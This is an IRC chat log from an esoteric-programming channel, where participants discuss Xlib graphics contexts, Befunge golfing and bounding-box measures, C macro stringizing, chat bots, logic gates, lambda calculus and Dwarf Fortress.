search that array using bsearch to find the quark corresponding to a keysym. 19:29:15 what stupid system doesn't have contiguous numbers? 19:30:05 -!- AnotherTest has quit (Ping timeout: 250 seconds). 19:31:47 izabera: well, they're not always digits (see what ais523 said) 19:32:12 izabera: so they're closer to just random letters, arranged in whatever order it was decided they should be arranged in 19:32:24 then they decided a stupid order 19:32:38 only from a numeric perspective 19:35:06 How to convert GContext to GC with Xlib? (Such thing might want to be done if you want to create a shareable GC) 19:35:35 why only share the GC? 19:36:01 -!- J_Arcane has joined. 19:36:19 I do not quite understand the point of your question 19:36:38 I mean, AFAIK Xorg has No Real Protection (tm) against applications messing with other applications anyway (see: Every fullscreen application that abuses XRandr ever), so there's no downside to passing a sub-window 19:39:23 Yes, you can share a window, font, or whatever, but it depend what you want to share 19:42:55 so apparently a GContext is a CARD32. 19:44:45 Yes, and can be stored in a property or selection or event or whatever, like any other ID. 19:45:14 Which would be lovely if I could even actually find in any of this what a "GC" actually is. 19:45:31 oh 19:45:35 Xlib.h defines it with a typedef 19:46:11 "GC" is an opaque type used in Xlib. You can convert a GC to a GContext, but not the other way around, it seems. 19:47:21 now you know why passing a window ID might be easier 19:47:43 Yes, but it does not help if the ID you want to share is not a window ID. 19:48:39 Would be lovely, but things that return GCs seem to be... few and far between 19:49:55 also, Xlib seems to keep spooky internal fields 19:50:06 at least, that's what they say... 19:51:17 presumably, 19:51:22 Something like this would do: GC XGetGC(Display*,GC,GContext); GC XUngetGC(GC); 19:51:37 those spooky internal fields are why they don't let you do that 19:51:59 some data it can't extrapolate from the ID 19:52:19 are you sure it has to be a GContext? 19:53:06 because by the look of it you'd have to allocate a GC, then swap around an internal field, and hope Xlib doesn't notice 19:53:16 aka. bad stuff 19:53:25 -!- boily has joined. 19:53:46 Can't it to retrieve the extra data from the server? 19:53:52 @metar CYUL 19:53:52 CYUL 261800Z 21010G16KT 30SM FEW060 FEW180 BKN250 31/15 A3005 RMK CU1AC1CI7 CU TR AC TR SLP176 DENSITY ALT 1800FT 19:53:59 zzo38: IDK 19:55:04 I mean, in theory there shouldn't be any extra data 19:55:46 I would think the extra data would be any pending GC changes 19:56:10 Well, trouble is they don't document it for some insane reason 19:56:19 so who knows 19:56:26 it just says "internal stuff" 19:56:47 oh, the specific quote is: 19:56:49 "there is more to this structure, but it is private to Xlib" 19:56:53 ...which means the same thing 19:57:00 but in a more complicated manner 19:57:07 (and being more annoying about it) 19:59:00 Hbot now allows you to execute raw python as well 19:59:20 tell me, is hbot online? 20:01:48 It is, and i discovered i made a mistake, someone else decided to write the python execution script, so nvm on python exec until later 20:02:02 Plus my version was bugged 20:02:14 (and I didn't even get a chance to mess with it, either) 20:02:20 (I tried many iterations of "help"...) 20:02:34 ? 20:02:49 trying to find out what commands it has 20:03:06 unless your hbot wasn't the hbot that recently left? 20:03:12 as in, a minute or two ago? 20:03:22 No. 20:03:31 well 20:03:33 on what channel? 20:03:38 none, left the network 20:03:56 Oh, hbot is running in #hbot and #esoteric-blah 20:04:00 yes 20:04:09 enough people use hbot for it to have a channel :P 20:04:11 command prefix? 20:04:26 >>> ( we changed it due to a quirk in the ezzybot framework 20:04:32 (suffice to say I don't want to have to start with the elvish next time it joins to try and get it to output a command listing) 20:14:55 The file Xlibint.h has all of the internal structures. In addition to the stuff I expected, it has variables "rects" and "dashes" 20:22:59 gamemzzoonello 20:23:05 helloily 20:24:05 -!- jaboja has joined. 20:24:53 jabellohja 20:25:19 hmm...is jaboja a human? 20:26:02 Welp, hbot is still not working with its new python support yet 20:27:05 i'm fairly certain moon is human 20:31:01 I'm a human. Beep! 20:31:10 Can anyone help out? we are failing badly at getting hbot to run python 20:31:13 We need someone who can do python :P 20:41:25 jaboja: hello human 20:43:13 jaboja: if you are a human, what is the best way to perform: 64 + 192 20:44:34 I would run python and see what it returns 20:53:02 and how would you run python 20:55:01 gamemanj: jaboja has already proven humanity. "i would push it off onto someone else if i have to but since i don't i will do nothing" is the most human possible answer 20:55:42 anyway, i can python a python sometimes. how much do you pay for such help? 20:59:05 -!- Etaoin has joined. 20:59:14 hello friends I am here 21:01:00 Hello 21:02:10 `wisdom 21:02:31 aw is it the wrong character? 21:03:12 montreal//Montreal is a city in Canada that somehow is obsessed with Vietnamese cuisine. 21:03:33 ah it's just very slow 21:05:44 HackEgo lives in a castle of sandbags to protect iself 21:05:47 *itself 21:05:53 However, this makes it very slow to communicate with 21:06:05 since the requests have to navigate the castle, 21:06:13 while avoiding all of HackEgo's evil traps! :) 21:06:47 `wisdom 21:07:10 twnh//twnh is dubious hambiguitous help that will or will not be help. It is provided by a toe with no hair. 21:07:17 idk with all the bells and whistles of hackego I somehow prefer fungot 21:07:18 Etaoin: " more logic p0rn at fnord!') code is perfectly ok for other people reading your code first. it is defined 21:20:02 -!- moon_ has quit (Ping timeout: 250 seconds). 21:22:14 The trouble with fungot is the lack of persistence. 21:22:15 fizzie: english auxiliaries are fucked up on the discussion list" though. :p))) without letting me see the perl script to complete the operation ( ' this record set the field x to be more, eh, specbot? 21:23:36 And there are some limits as to what's practical to do with brainfuck delivered over IRC, though there's a mechanism that allows to construct a program incrementally to go beyond the line lenght limit. 21:23:42 i amnpretty amazed for what is possible with befunge 21:25:39 -!- jaboja has quit (Ping timeout: 264 seconds). 21:31:53 myname, isn't befunge turing complete? 21:32:49 Etaoin: befunge-93 is a push-down automaton unless you use bignum arithmetic 21:33:01 it only has a finitely large playfield and a stack 21:33:12 befunge-98's use of a stack stack makes it turing-complete, I think 21:33:14 fungot is written in befunge-95 iirc 21:33:14 Etaoin: i think i've done that much without any sleep a few times 21:33:41 -!- boily has quit (Quit: HORRIPILANT CHICKEN). 21:36:17 -!- ^v has quit (Ping timeout: 244 seconds). 21:46:31 <\oren\> what characters should I add next? 21:49:31 to what exactly? 21:49:42 Etaoin: -98. 21:50:13 (I don't think -95 exists; -96 and -97 do, but only barely.) 21:50:19 so it is turing complete therefore myname's amazement isn't justified ^_^ 21:50:26 yeah I just misread 21:53:51 -!- Frooxius has quit (Ping timeout: 240 seconds). 21:59:13 Etaoin: well, being theoretically able to do everything and doing something useful are two different things 21:59:44 I have to agree what fungot does in that language really is quite remarkable :) 21:59:44 Etaoin: or it couldn't build it on top level? 22:07:45 ^ that's the secret, it's just built on top level. 22:08:40 A Befunge-98 variant with non-local function calls would be an eminently practical language. 22:09:12 There's a couple of function calls in the fungot sources, but they're pretty inconvenient to do, since you have to deal with routing execution back to any of the potential callsites. 22:09:12 fizzie: you sleep in the dining room studying, and someone said at assembly that music was ripped from fnord 22:10:25 why does it keep repeating fnord 22:10:47 "Fnord: The Definitive Album" 22:11:52 Those :1-#<| and :2-#<| and #<| sequences (read from down to up) on approximately the rightmost column of lines 258-263, 231-236 and 225-227 are part of the machinery to return from the sub-interpreters so that ^ul/^bf/^def can share code. 22:12:45 And it keeps repeating fnord because that's the placeholder word it uses when the language model synthesizes the "out-of-vocabulary word" token that was used to replace overly rare words. 22:13:20 (In some styles. Other styles are unpruned that way and entirely fnord-free.) 22:13:39 nice 22:13:53 At least that's intentional. The fact that Charles Darwin uses emoticons all over the place wasn't. 22:13:58 ^style darwin 22:13:58 Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy) 22:14:14 so a function call,in fungot is actually a push of the "local scope integer" which gets looked up upon return? 22:14:14 fungot: So are you saying my parents were apes? 22:14:15 myname: with respect to editors, mr. gould as distinct species, and those from/ long-styled form; both these sets correspond in length with advancing age :) characters derived from seeds are generally :) extreme thinness; and on analysis by mr. frankland, was carefully examined;/ seeds were also conspicuously larger than those :)/ 22:14:15 fizzie: " 658? 1. published in/ :( atlantic monthly,' 1859, p. 5. 22:14:43 myname: Pretty much, yes. It's the "standard" way to do it. 22:14:50 -!- Nathan2055 has joined. 22:15:35 I used to have, as a signature block, a simple recursive Fibonacci in Befunge-93. 22:16:21 (Very briefly.) 22:16:35 >#v1&#:<-1<-1\0\_.@ 22:16:35 >2-!#v_:2\^fibre^-< 22:16:35 ^:_ >$1>\#+:#$!_1^ 22:16:41 Not sure if that's the final form. 22:16:59 "it's not even the final form!!!11" 22:17:53 why fibonacci? 22:18:22 fizzie: haha, I take it you're using the Befunge stack as a callstack? 22:18:28 It's one of the canonical examples of recursion. 22:18:34 Yes. 22:19:18 why fibonacci in your signature? 22:19:53 Oh. Well, I mean, I wanted something compact in Befunge. It seemed like the thing to do. I didn't keep it for long. 22:20:20 People had JAPH programs etc. 22:20:31 japh doesn't print fibonacci 22:20:34 -!- moon_ has joined. 22:20:35 shouldn't you write a jabh? 22:21:25 but maybe fibonacci is more interesting 22:21:39 jabh? 22:21:58 I didn't have any particularly creative ideas for a JABH. And I had already spent a while compacting "fibre" (that thing) into a small-ish rectangle. 22:22:03 I think mooz helped a little. 22:23:11 I still somehow feel obfuscated c code is less readable than befunge 22:23:18 myname: JAPH is an obfuscated Perl program that prints "Just another Perl hacker." -- by extension, JABH would be the same except s/Perl/Befunge/ for both the content and the language. 22:23:57 Etaoin: That would probably depend on whether the Befunge code is (intentionally) obfuscated. 22:24:14 more obfuscate than just being befunge?! 22:24:16 madness 22:25:13 Befunge is generally much more easier to write than to read, at least IME, and I've heard that from others as well. 22:25:28 iobcc 22:25:34 i always wondered if people defined golfong in befunge 22:26:02 like, do you count chars? lines? area? circumference? 22:26:14 pixels 22:26:28 that should be a subrequirement 22:26:45 in case two languages have the same amount of characters the one that uses the least pixels wins 22:27:02 I would wager a guess most Befunge golfing that goes on happens at anagol, and that just counts bytes in the source file. 22:27:02 indisagree 22:27:45 if pixels would be relevant, you could make a substitution language that replaces the most common commands with .,:…; etc 22:28:48 I was thinking recently that if we defined a transistor's operation as f(x,y) = if y then x else 0, assuming that's correct, any language that has an if else statement is turing complete 22:28:58 fizzie: ppcg also uses bytes in the source file for befunge, I believe 22:29:05 though I'm fairly certain transistors are a bit more complicated than that 22:29:06 (and similar languages such as hexagony) 22:29:42 although interestingly, it has a rule that for unicode-heavy languages, you can use either utf-16 or utf-8 22:30:51 i'd say area would be i much nicer measurement for bf golfing 22:32:25 well since only 3 bits are needed to store a brainfuck command and since even that can be further reduced with "switch" operators maybe we could just divide the amount of bytes by 2.667 22:33:01 unless bf is befunge here ^^ 22:33:08 befinge, yeah 22:33:11 *u 22:34:00 how is area different from byte count? 22:34:26 xxxx 22:34:26 x 22:34:36 That has an area of 8 and a byte count of 6. 22:34:44 that's arguably bullshit 22:34:54 if you use the term arguably loosely 22:35:30 At least for the "area of bounding box" definition, which is admittedly only one of them. 22:35:41 izabera: it forces you to think in other ways 22:35:47 (It could also have an area of 5, but that's still quite different from the byte count.) 22:35:56 like, xxxxxxxxxxxxxxx is worse that xxxx\nxxxx 22:36:10 Well, that's true for both. 22:36:27 you'd need to make solutions as quadratic as possible 22:36:27 -!- ^v has joined. 22:36:30 * ais523 considers making a language where the only meaningful thing is the shape of the bounding box 22:36:35 i think that'd be funny 22:36:47 ais523: good idea! 22:36:59 wouldn't a vertical line be more efficient than a square? 22:37:05 because you don't count newlines 22:37:11 you do count newlines 22:37:21 i wouldn't count newlines 22:37:43 a vertical line is worse that a horizontal line 22:37:50 but why 22:37:52 since x*y = y*x 22:38:02 and you may or may not count newlines 22:38:12 if you don't, it is equally bad 22:38:21 Anyway, I think many "area"-like definitions *would* be more natural, since "xxxx\nx" and "xxxx\n x" really "should" be the same "size". 22:38:25 -!- Warrigal has changed nick to tswett. 22:38:33 fizzie: yeah 22:38:41 i'd also use the mbb 22:38:54 the what? 22:39:22 minimal bounding box 22:39:25 ok 22:40:01 i just thought that with a vertical line you get many free bytes, even if they're all newlines 22:40:13 not sure if this is any useful in befunge 22:40:32 newlines do not have any meaning as far as i know 22:41:25 They only affect where the other source characters end up in the playfield. 22:41:42 is it harder to make a squarer program? 22:42:51 that's the question. fizzies fibonacci has about 50 commands in an area of 3*19=57 22:43:38 maybe circumference of the mbb is better 22:44:03 then it would be 3+3+19+19=44 22:44:30 whereas a squere with 8*8i64 possible chars only has a circumference of 4*8=32 22:44:35 *square 22:45:11 i wonder how much code i would have to write to allow a ghci interface over hbot in python.. 22:47:01 probably more than in sh with common tools 22:47:16 http://phpthegoodparts.tumblr.com 22:47:18 what about lisp 22:47:26 Lisp? i could try :P 22:47:33 In a one-line program, if you need to go both ways you generally need to "waste" some characters to #s. In a more squarish program, you generally need to "waste" some characters to ^v<>. It's really a matter of how well you manage to structure your code to avoid either kind of waste, keeping in mind that conditionals by nature change direction, and it's possible to e.g. use _ to do a ... 22:47:39 ... combination of < and $ in a single command if you happen to know the value you want to $ is nonzero. 22:48:20 (Those are called "drop ifs".) 22:49:14 yeah, but circumference force you to be more squareish since a squre has the lowest circumference (of any rectangle) for any given area 22:50:16 fizzie: actually, something that I've been thinking about in stack-based language design 22:50:18 Sure, in an asymptotic sense. 22:50:27 is whether it's better for commands to leave values on the stack and force extra pops 22:50:32 or consume them and force extra duplicates 22:51:27 I'm only really familiar with the latter kind. 22:52:04 ais523: if you really make something out of the bounding box idea, tell me. otherwise. i may think about it 22:52:26 myname: I'm not planning to think about it much 22:52:28 too many other esolang ideas 22:52:42 i barely have any :( 22:52:48 there's one I'm thinking about that seems really promising as a new paradigm but that will be a pain to write 22:52:54 either in terms of spec or impl 22:53:51 it reminds me of functional reactive programming, but probably isn't identical 22:54:36 is it possible to #define an array in c? 22:54:55 Idk 22:54:57 Etaoin: your question is a little confused 22:55:01 you might want to clarify what you mean 22:55:05 I dont even get what our talking about ^_^ 22:55:06 note that #define is a textual substitution 22:55:18 that runs before the rest of the program is parsed 22:55:27 so you can certainly use #define to construct parts of an array declaration, or the like 22:55:32 yeah I'm daft NEVER MIND haha 22:57:36 Compound literals might also be relevant in whatever the underlying context there was. 22:58:22 Etaoin: #define array(x) int array[x]; 22:58:23 ais523: Well, ish. You can't really get arbitrary strings out of it, "just" arbitrary tokens. 22:58:24 tadaa 22:58:37 (mind, the distinction is... silly and pedantic) 22:59:08 pikhq: actually I ran into practical problems with that on mingw 22:59:18 I have a macro that stringizes its argument 22:59:21 I just forgot macro functions aren't actually functions that run at compile time :) 22:59:22 and am using it like this: 22:59:31 stringize(C:\Users\ais523) 22:59:43 this textually becomes "C:\Users\ais523" which doesn't parse 22:59:56 presumably mingw is reasoning that as \ is not a valid token, it doesn't need to escape it 23:00:21 it's just putting in quotes whatever you pass as an argument 23:00:21 Huh... I had not even thought about that. 23:01:23 izabera: Not quite: 23:01:30 it still needs to escape " 23:01:33 23:01 ,cc #define stringize(x) #x \n puts(stringize(foo"bar"baz)); 23:01:33 23:01 fizzie: foo"bar"baz 23:01:36 Right. 23:01:47 fizzie: try that with a backslash escape inside the "bar" string 23:02:13 23:02 ,cc #define stringize(x) #x \n puts(stringize(foo"bar\nquux"baz)); 23:02:16 23:02 fizzie: foo"bar\nquux"baz 23:02:25 that's exactly what I expected 23:02:29 (and IIRC what mingw did in my tests) 23:02:39 it'd escape \ inside a string literal, but not outside 23:02:41 i heard that c compilers are cheap these days 23:02:46 so you don't have to query candide 23:03:09 yes but even using the -x c /dev/stdin trick 23:03:12 The user interface is much more convenient. 23:03:12 it's more typing than using a bot 23:03:14 <\oren\> Space Cruiser Asa has arrived at Duna! http://orenwatson.be/AsaAtDuna.PNG 23:03:30 what are these screenshots? 23:03:41 Making a candide-style script has long been on my to-do list. 23:04:02 It does a lot of stuff not entirely apparent from the above simple examples. 23:04:23 https://github.com/izabera/candide 23:05:01 https://www.facebook.com/mochadepressotogoplease/videos/650852988399077/ 23:05:27 fizzie: even with those examples, it's apparent that it's doing something special wrt main 23:05:38 also I didn't realise that candide was izabera's 23:05:43 it's not 23:05:53 pragma- is the author 23:05:57 izabera: the screenshots are of a proprietary interface to a complicated and downright insane physics-engine based simulation of the interaction of solid bodies that represent liquid, solid and organic-carrying vessels for the purposes of interplanetary travel within a fictional system. 23:06:02 I'd kind of want the fancy gdb integration and print-locals stuff. 23:06:16 well, the actual candide is on github too 23:06:34 (izabera: translation: the screenshots \oren\ is posting are of Kerbal Space Program.) 23:06:44 oh 23:06:47 much clearer 23:07:18 (you can see it in the text at the top) 23:07:49 ah written text, my old enemy 23:10:43 Huh, I didn't know the World of Goo people had made one of them programmering games as well. 23:12:27 fizzie:? 23:12:41 http://store.steampowered.com/app/375820/ popped up in my "queue". 23:12:48 on Wikipedia, "2D Boy" redirects to "World Of Goo" 23:12:51 yes, really 23:13:04 https://en.wikipedia.org/w/index.php?title=2D_Boy&redirect=no 23:14:04 world of goo is great though 23:14:22 human resource machine too! 23:14:37 It could redirect to https://en.wikipedia.org/wiki/Tomorrow_Corporation instead, at least. 23:14:51 hmm, all these programming games 23:14:57 and yet I still like BF Joust best 23:15:04 (although I've played a bunch of Rubicon too) 23:15:16 hmm, the common feature between those games is that they're both based on esolangs 23:15:24 like, specific, named esolangs that existed beforehand 23:15:37 rather than inventing one for the purpose of the game 23:15:41 so, basically, you like esolang-based games 23:15:53 I liked TIS-100 even though it invented the language. 23:16:20 why would they design a new language when there are existing well tested ones? 23:16:48 "merged to World of Goo, developed only 1 game, all notability tied to that article" *shrugs* 23:17:07 wow, Tomorrow Corporation's FAQ is really useful 23:17:30 izabera: most esolangs aren't very well tested :-) 23:17:42 good point but still 23:18:01 in fact, I'd say that if reading their FAQ, make sure to have "format" implemented as something which more or less emulates the DOS version (by guessing which drive letter the drives should be) 23:19:03 to be fair, the merge predates the release of that Human Resource Factory game. 23:19:20 -!- jaboja has joined. 23:20:09 Does it predate "Little Inferno"? 23:21:18 Human Resource Factory and Little Inferno both are from Tomorrow Corporation, not 2D Boy. 23:22:33 \oren\: https://github.com/nojhan/liquidprompt ⏚ ⌁ 🕤 etc 23:22:39 right, didn't read https://2dboy.com/ carefully enough 23:30:27 ais523: what are your thoughts on manufactoria 23:30:45 I've never heard of it 23:30:52 is it possible to define a logical not function from f(x,y) = if x then y else 0? 23:31:27 Etaoin: you just did. 23:31:32 Er. 23:31:42 I did? 23:31:47 Never mind, I read you wrong. 23:32:08 you thought it said if x then x else 0? 23:32:20 no wait that doesn't make sense either ^^ 23:32:35 Nah, I thought you were asking if it was possible to define such a function as f(x,y) = if x then y else 0. 23:33:04 What sort of thing is x? 23:33:11 Etaoin: f(0,0) = 0 means that if all inputs are 0, you cannot ever get 1. 23:33:24 ais523: implausible, but i'll take your word for it 23:33:46 I'd need a built in not operation in f(x,y) right? 23:33:54 quintopia: there are lots of things I haven't heard of 23:33:57 something like f(x,y) = if x then y else !y 23:34:12 or if !x then y else 0 maybe? 23:34:21 also f(x,y) is monotonic in both arguments... another reason why this will fail. 23:34:30 ais523: it's just it seemed like the kind of thing people who hang out here would be into 23:34:46 and it's been around for...five years now? more? 23:34:48 what does monotonic mean? 23:35:06 http://pleasingfungus.com/Manufactoria/ 23:35:33 hmm, Flash 23:35:49 Etaoin: x <= x' implies f(x,y) <= f(x',y) for all x,x' and y; similarly for the second argument. 23:36:11 Etaoin: If both x and y are just booleans, then f(x,y) = if x then y else 0 is just the same thing as f(x,y) = x and y. 23:36:12 -!- MoALTz has quit (Ping timeout: 276 seconds). 23:36:58 this actually makes a lot of sense, why do I never think any of this through ^_^ 23:39:27 Etaoin: https://en.wikipedia.org/wiki/Functional_completeness#Characterization_of_functional_completeness may offer some inspiration (though you don't need functional completeness if all you want to get out is negation; negation is affine in that terminology.) 23:40:08 `unidecode 🤔 23:40:45 U+1F914 - No such unicode character name in database \ UTF-8: f0 9f a4 94 UTF-16BE: d83edd14 Decimal: 🤔 \ 🤔 (🤔) \ Uppercase: U+1F914 \ Category: Cn (Other, Not Assigned) \ \ U+FEFF ZERO WIDTH NO-BREAK SPACE \ UTF-8: ef bb bf UTF-16BE: feff Decimal:  \  \ Category: Cf (Other, Format) \ Bidi: BN (Boundary Neutral) 23:43:21 strangely, my client can render it 23:43:24 despite HackEgo not knowing what it is 23:43:47 The Unicode database used by unidecode is a couple of Unicode releases old. 23:44:00 not specifically negation, just looking for a single instruction "processor" with the simplest possible instruction 23:44:22 Etaoin: BytePusher 23:44:40 Specifically, the processor behind it, but you'll need the 16MiB of RAM to do much useful stuff with it 23:45:04 Like, you can fit a small visual novel into 16MiB, in BytePusher, with music. (Actually the music's most of the problem.) 23:45:46 -!- moon__ has joined. 23:45:47 gamemanj: I take it you've tried? 23:45:57 -!- moon_ has quit (Ping timeout: 276 seconds). 23:45:59 Etaoin: if you just want to produce circuits, nand is a popular choice. (There are only two binary operations on Booleans that are functionally complete by themselved; the other one is nor) 23:47:20 ais523: Well, I didn't get around to trying to compress the music 23:47:43 . o O ( sdeddesd ) 23:47:44 when I played music in a limited system (microcontroller, not eso) 23:47:50 I know about these of course, was thinking of something either lower level such as defining a single transistor and using it as the only command, or something more high level such as a loop :) 23:47:53 I basically expressed it as a list of (frequency, duration) pairs 23:48:22 Etaoin: I don't believe it's possible to do useful computations using nothing but identical transistors 23:48:29 you either need two different sorts of transistor, or to add in resistors 23:48:34 who's talking about useful 23:48:50 that said, there's such a thing as diode transistor logic, hmm 23:48:52 `` sed sDedDesD << themselves 23:49:14 ais523: Yeah, except what was going on was more or less: 1. Yay, so there's a free visual novel that's creative-commons licenced! Let's port it! 23:49:17 Etaoin: "useful" as in "not hideously degenerate" 23:49:36 I repeat, who's talking about useful :D 23:49:39 OK, DTL needs resistors to function too 23:50:05 those don't seem that big a problem honestly 23:50:15 just another variable to add to the function 23:50:22 as in the resistance 23:50:55 Etaoin: yes, but I was thinking more in the golfing sense 23:50:56 -!- Phantom_Hoover has joined. 23:51:01 electronics golf 23:51:13 does that exist 23:51:17 and why not 23:51:19 (the usual version I see, at least from computer scientists, is "n-channel FET" and "p-channel FET" as the minimum set of components) 23:51:23 2. Oh noes, the music is making things difficult! Solution A. Transcribe music to module format & write player? Too difficult, too much work, and CPU limits. Solution B. Lossy compression. Music sounds awful enough already, + too much work. And CPU limits. C. Lossless compression? Didn't occur to me at the time. And too much work, and CPU limits... 23:51:27 (when working at the transistor level) 23:52:07 (well, if either of those can be singularly made to act as a NOR gate, you should be fine with one) 23:52:32 (... actually, then again, you need the occasional thing to add some gain to the signal) 23:52:50 (not if the signal itself is completely simulated) 23:53:17 (If you want to go with stuff that's simulated, then just work in logic gates) 23:53:32 (If you want to work in terms of real components, then work in those...) 23:53:58 (I would (but that's not the spirit of convoluted esolangs)) 23:56:00 -!- Phantom__Hoover has joined. 23:58:14 Etaoin: so your components act in the general sense of ideal FET components, with any additional rules you may set? 23:58:18 That could be... fun. 23:58:36 potentially 23:59:02 I'll see how I feel about it in a few days 23:59:49 -!- Phantom_Hoover has quit (Ping timeout: 258 seconds). 2016-06-27: 00:10:00 <^v> i was pinged 00:10:03 <^v> In a one-line program, if you need to go both ways you generally need to "waste" some characters to #s. In a more squarish program, you generally need to "waste" some characters to ^v<>. It's really a matter of how well you manage to structure your code to avoid either kind of waste, keeping in mind that conditionals by nature change direction, and it's possible to e.g. use _ to do a ... 00:10:04 <^v> lol 00:11:34 -!- oerjan has joined. 00:11:55 ey 00:12:51 jafjallajökull 00:14:43 <\oren\> how does one catch oneself from saying things that will inadvertently show one's age? <-- the only way is to stay away from this new-fangled information superhighway thing hth 00:16:49 you'd basically have to not reference anything that happened in more than the past 5 years as something you've experienced but rather as something you know happened because you've heard/read about it. also not saying your age would help as well 00:18:26 but if you, like, say you read about the 9/11 event then you're showing yourself as _young_ instead. 00:19:24 in case you aren't wouldn't that throw them off? 00:20:12 well you can of course deceive either way. 00:20:31 I am 91 years olde 00:20:34 i remember when nixon did that. 00:21:09 * oerjan whistles innoc^Wtransparently 00:21:34 but honestly I lived through 9/11 and was conscious enough to remember it but it wasn't a thing that was that important here at that time 00:21:52 (theoretically, i _could_ have, i guess, but i don't remember anything from back when i was 4... 00:21:55 ) 00:22:40 I was 5 then and while I do remember some things about it, I remember it being not very prominent 00:22:48 we ARE talking about croatia 00:23:14 some countries cared less about 9/11 is what I'm saying 00:23:16 just add nationality to the things you don't want to show 00:23:21 *list of things 00:24:37 my real question is, of all the things one can hide about themselves, why age? 00:25:11 i guess \oren\ is just in a sensitive one :P 00:25:21 hi oerjan 00:25:26 high moon 00:25:36 IT'S HIGH NOON 00:25:42 LOL 00:25:47 DAMN CAPS KEY 00:25:49 not here, it's after midnight 00:25:55 not in croatia either, i bet 00:25:57 yeah 1:25 00:26:09 pretty much high moon really 00:26:16 ye olde MET 00:26:40 * oerjan hasn't checked out the moon today, it was cloudy 00:27:26 hm full moon was a week ago. so presumably pretty half now. 00:27:29 hbot is being annoying 00:27:31 >: 00:27:54 is it trying to take over the world 00:27:57 No 00:28:01 you need to give i a stupid sidekick 00:28:04 *it 00:28:12 a wheatley? 00:28:13 Its not running some things right 00:28:22 Its already stupid :P 00:28:40 then you need to give it to a clever protagonist 00:28:41 hm google says that's from portal 00:28:47 * oerjan doesn't really play games 00:28:57 portal is great ^^ 00:29:06 It certainly is, and you mean Portal 2 00:29:36 I meant the franchise, oerjan meant portal 2 :) 00:30:49 can someone help me wrap my head around lambda calculus? 00:32:25 yes, but i cannot promise your head will survive the twisting 00:33:30 I fancy myself competent enough :D 00:36:06 imo lambda calculus is about taking the concepts of (mathematical) variables and functions and distilling them down to their bare essence. 00:36:42 how does that work? 00:39:46 (wait what did i get myself into) 00:40:19 (I'm tired. Why are people talking about a high moon?) 00:41:30 I understand application and that jazz, but how exactly is a function defined? 00:42:07 a function is a lambda abstraction. \ variable . expression 00:42:20 * oerjan cannot be bothered to type a real lambda 00:42:35 this expression can be anything? 00:43:00 any lambda calculus expression yes. 00:43:20 in pure lambda calculus all you have is variables, applications, and lambda abstractions. 00:43:44 how do you define say f x = x^2 in it then? 00:43:59 Etaoin, in pure lambda calculus a function is just a pattern of application, basically 00:44:11 well that requires you to have some concept of numbers and exponentiation. 00:44:18 its arguments are functions and it applies them in some way or another 00:44:32 you can either put those in as extras, or encode them as other lambda expressions. 00:44:34 Who here has played/plays dwarf fortress? 00:44:47 so e.g. you define the natural numbers as taking functions f and x and applying f to x n times. 00:45:14 fine, i see Phantom__Hoover takes over. 00:45:25 * oerjan whistles innocently 00:45:51 moon__, I've played it a little but stopped inexplicably 00:46:41 How come? The graphics or the unintuitivity? 00:46:48 gamemanj: moon was smokin' somethin' potent 00:46:56 surely you mean inevitably 00:47:01 * oerjan hasn't played df 00:47:16 Lol 00:47:26 It was inevitable 00:47:32 I hear it's got a steep learning curve, but once learned is quite Fun™ 00:47:53 The 'steep learning curve' is just mostly a joke 00:48:04 The wiki helps a lot to squash it 00:48:17 moon__, neither really. pretty sure soon after I downloaded it my computer had some issues and I had to reinstall whichever OS I was using at the time 00:48:22 ...it's a game where you need to read a wiki to play 00:48:29 No, not really 00:48:38 Its just one page to help newbies get started 00:48:45 you dont *have to* 00:48:51 moon__, i've played it a lot 00:48:55 I love the aesthetics of it and don't find it that unintuitive 00:48:56 not for about a year though 00:49:11 バスツアー Aesthetic shit スツ thats モール some Aesthetic バス shit right モールモールthere メキシコシティーright ツアthere ピングモール if i do say so myself ブルi say so バス thats what im ta 00:49:32 sorry I got excited 00:49:36 Toady added adventuremode building and 64bit is coming up Phantom__Hoover 00:49:59 64 bits doesn't strike me as that big of an improvement 00:50:07 don't know 00:50:11 for a game like DF... 00:50:17 the extra registers might make the main game thread run a bit faster i suppose 00:50:17 Eh, more memory for bigger fortresses 00:50:30 has anyone written a utility to compile DF maps to minecraft maps? 00:50:34 i don't remember ever running up against memory issues, you'd hit FPS death first 00:50:35 if you think about it, DF is a rather well-optimized and tuned game on 32-bit 00:50:35 32bit caps it at 2gb 00:50:43 gamemanj, >df 00:50:47 >well-optimised 00:50:55 top lel 00:50:56 >singlethreaded 00:51:00 top lel 00:51:00 (sshhh) 00:51:06 top jej 00:51:13 (I was hoping my complete lack of knowledge would go unnoticed!) 00:51:16 I just wanna feel like I'm part of the chat 00:51:27 No need to 00:51:41 gamemanj, i remember when just the temperature calculations alone would take the game from 60FPS to 30 on my machine 00:51:53 Temp calculations are better i hope 00:52:03 unless ur pc is on old hardware 00:52:06 i think it's a bit better now but there were trivial optimisations that dfhack added that removed most of that hit 00:52:06 (TBH, I kind of thought such things as multithreading were already implemented or else it would have already been melting machines) 00:52:09 *i beleive no i hope 00:52:20 >caring about FPS in an ASCII game 00:52:28 Not lel 00:52:33 Etaoin, FPS in DF means the sim speed 00:52:34 no lel at all 00:52:36 Etaoin: it's not exactly a text adventure :) 00:52:37 Mhm 00:52:46 The FPS means how fast the game is processing everything 00:52:47 if it gets low the game becomes unplayable 00:52:50 ^ 00:52:54 (Though I guess Adventurer Mode might count?) 00:52:59 no 00:53:05 Adventure mode is also graphical 00:53:18 and supports a lot of functions from fortress mode 00:53:19 gamemanj, DF these days has a rendering thread and the thread that does the game and everything else, i think 00:53:20 (I don't mean that) 00:53:34 (I mean sim speed, which is presumably what Etaoin meant by FPS) 00:53:47 (With Adventurer mode the whole thing's held up on user input anyway) 00:53:53 making the latter multithreaded would probably be an enormous boost to performance but it'd require a herculean amount of refactoring to even be able to start 00:54:00 ^ 00:54:13 its too late now 00:54:34 the game is too big to multithread without looking like someone trying to get to the other side of a pool of peanut butter 00:55:07 That's an interesting way of saying "a mess" 00:55:21 i made it up on the spot xP 00:55:29 Well, it works 00:55:31 Anyways 00:55:49 We should move this DF related discussion to #dwarffortress, it fits a bit better there 00:55:56 is it smooth or chunky peanut butter? 00:56:07 No idea :P 00:56:28 Etaoin: Think of what would happen if you cut peanut butter into randomly shaped pieces around one cubic centimetre in volume 00:56:55 and then arranged them into the form that a game's code might take if it were a physical being 00:57:10 ...and then threw a jar of pepper at it 00:57:21 Oof 00:57:33 -!- jaboja has quit (Remote host closed the connection). 00:57:36 Something like that. 00:57:39 Also, anyone want to try their hand at a newbie succession fort for lols? 00:58:11 depends if you want the fortress to die before 